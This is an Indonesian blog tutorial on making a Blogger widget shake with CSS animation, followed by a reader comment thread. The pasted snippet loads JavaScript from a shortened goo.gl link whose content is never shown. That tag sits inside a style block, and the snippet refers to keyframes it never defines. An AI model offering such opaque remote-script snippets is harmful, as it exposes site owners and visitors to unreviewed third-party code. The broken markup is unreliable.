Cara bikin widget bergetar

Diposkan oleh Label:
Salam Pagi sobat :v
kali ini gue mau share tricks lagi nih yaitu tentang (baca aja judul)

Demo bisa diliat dan di tes langsung, arahkan mouse sobat ke kotak pemberitahuan "Gunakanlah Google Chrome Agar Sempurna"

gimana?? tertarik untuk mencoba?? kalo iya,gini cara bikinnnya :

  • Pertama,Cari kode </head>
  • Trus taruh kode ini di atasnya
<style>
#idcss{animation-name: getar-ut;
-moz-animation-name: getar-ut;
-webkit-animation-name: getar-ut;
animation-duration: 0.8s;
-moz-animation-duration: 0.8s;
-webkit-animation-duration: 0.8s;
transform-origin:50% 50%;
-moz-transform-origin:50% 50%;
-webkit-transform-origin:50% 50%;
animation-iteration-count: infinite;
-moz-animation-iteration-count: infinite;
-webkit-animation-iteration-count: infinite;
animation-timing-function: linear;
-moz-animation-timing-function: linear;
-webkit-animation-timing-function: linear;}
<script src='http://goo.gl/Yj07U' type='text/javascript'/>
</style>

  • Ganti "idcss" dengan id css yang ingin sobat Getarkan 
  • Save aja lagi :v
Dibikin menjadi hover,active,dll juga bisa. kreasikan aja sendiri ya :v
Note: Kalo mau Copas sertakan Sumber
Backlinks
URL
Code For Forum
HTML Code

32 comments:

  1. ultahMarch 23, 2013 at 1:10 PM

    Waahhh Thanks put kapan2 cobalah :v

    ReplyDelete
  2. UnknownMarch 24, 2013 at 3:51 AM

    Org GANTENG Lewattt Tin Tinnnn !!

    Ini Untuk Blogger Ya ._.)v?? *HERP Mode On

    ReplyDelete
    Replies
    1. gtrslncMarch 24, 2013 at 3:52 AM

      gantengan Sutan Bathoegana lah -_-

      bukan,ini untuk kamar mandi *you dont say -_-

      Delete
  3. UnknownMarch 24, 2013 at 6:42 AM

    nice tricks nya gan
    blogwalking : http://andry-cyber.blogspot.com/

    ReplyDelete
  4. RikyMarch 24, 2013 at 12:42 PM

    Nice Artikel Nya , kapan'' Coba Yea , Biar Greget !! :)

    BlogWalking : http://id-cyb3r.blogspot.com/

    ReplyDelete
  5. ArieMarch 24, 2013 at 12:45 PM

    Jangan di coba, jangan di lihat,.

    Pokok nya jgn deh :v :v

    Kaborr

    ReplyDelete
    Replies
    1. gtrslncMarch 24, 2013 at 12:47 PM

      wkwkwkwkwk.. ngakak lu.
      jngan kaboorr, sandal lu ketinggalan nih..

      Delete
    2. ArieMarch 24, 2013 at 8:51 PM

      Udh gua ambill....
      Bllekkk :p

      *Kaburr lagi

      Delete
    3. gtrslncMarch 24, 2013 at 8:55 PM

      I Lied.. itu yg lu ambil Tai kebo :v

      Delete
    4. ArieMarch 24, 2013 at 10:52 PM

      100% gua yakin gk tai Kebo ...

      tapi.. Emas Lonjong :p

      Delete
    5. gtrslncMarch 24, 2013 at 10:54 PM

      wkowkowkowkw,,
      itu cuman tampilan aja, sebenarnya itu tai kebo :v

      Delete
    6. ArieMarch 25, 2013 at 9:56 AM

      Huekkk
      Ternyata yg lu blg bener....

      Abis gua cobain, saking penasarannya...
      Rasa nya asem + pahitt

      Delete
    7. gtrslncMarch 25, 2013 at 10:49 AM

      dafuqqqqqqq.. lu coba.. ihhhh :v

      Delete
    8. ultahMarch 25, 2013 at 2:43 PM

      :v

      Delete
    9. gtrslncMarch 25, 2013 at 2:56 PM

      -_-

      Delete
    10. ArieMarch 25, 2013 at 6:34 PM

      :p

      Delete
    11. ultahMarch 25, 2013 at 8:15 PM

      3hh CiN aku ud4H 4l4y belum?

      Delete
    12. gtrslncMarch 25, 2013 at 8:18 PM

      kau sudah alay ciin -_-

      Delete
  6. Faisal al pariamanuMarch 24, 2013 at 11:00 PM

    mantap nih cara buat orang gregetan ntar ane coba ya :D

    ReplyDelete
  7. ukiMarch 25, 2013 at 8:15 AM

    Oh iya,itu yang script,itu fungsinya apa ya ?
    karena setahu saya,efek getar gitu bisa di buat dengan pemanfaatan keyframe saja (without JS).

    ReplyDelete
    Replies
    1. gtrslncMarch 25, 2013 at 9:01 AM

      memang buatnya pake keyframe.. tapi udah aku jadiin script ..

      Delete
  8. XAIFAMMarch 26, 2013 at 5:55 PM

    Ijin coba cob
    koment back maskedx.blogspot.com

    ReplyDelete
  9. UnknownJune 20, 2013 at 8:08 AM

    Izin Copas bro...

    ReplyDelete

~ ATURAN BERKOMENTAR ~

1. Dilarang menulis link aktif
2. Dilarang ngiklan di kolom komentar
3. Komentar yang hanya titip link, akan dimasukan ke kotak SPAM
4. Berkomentar sesuai tema artikel, untuk OOT sebaiknya cari tempat lain

Terima kasih telah berkomentar.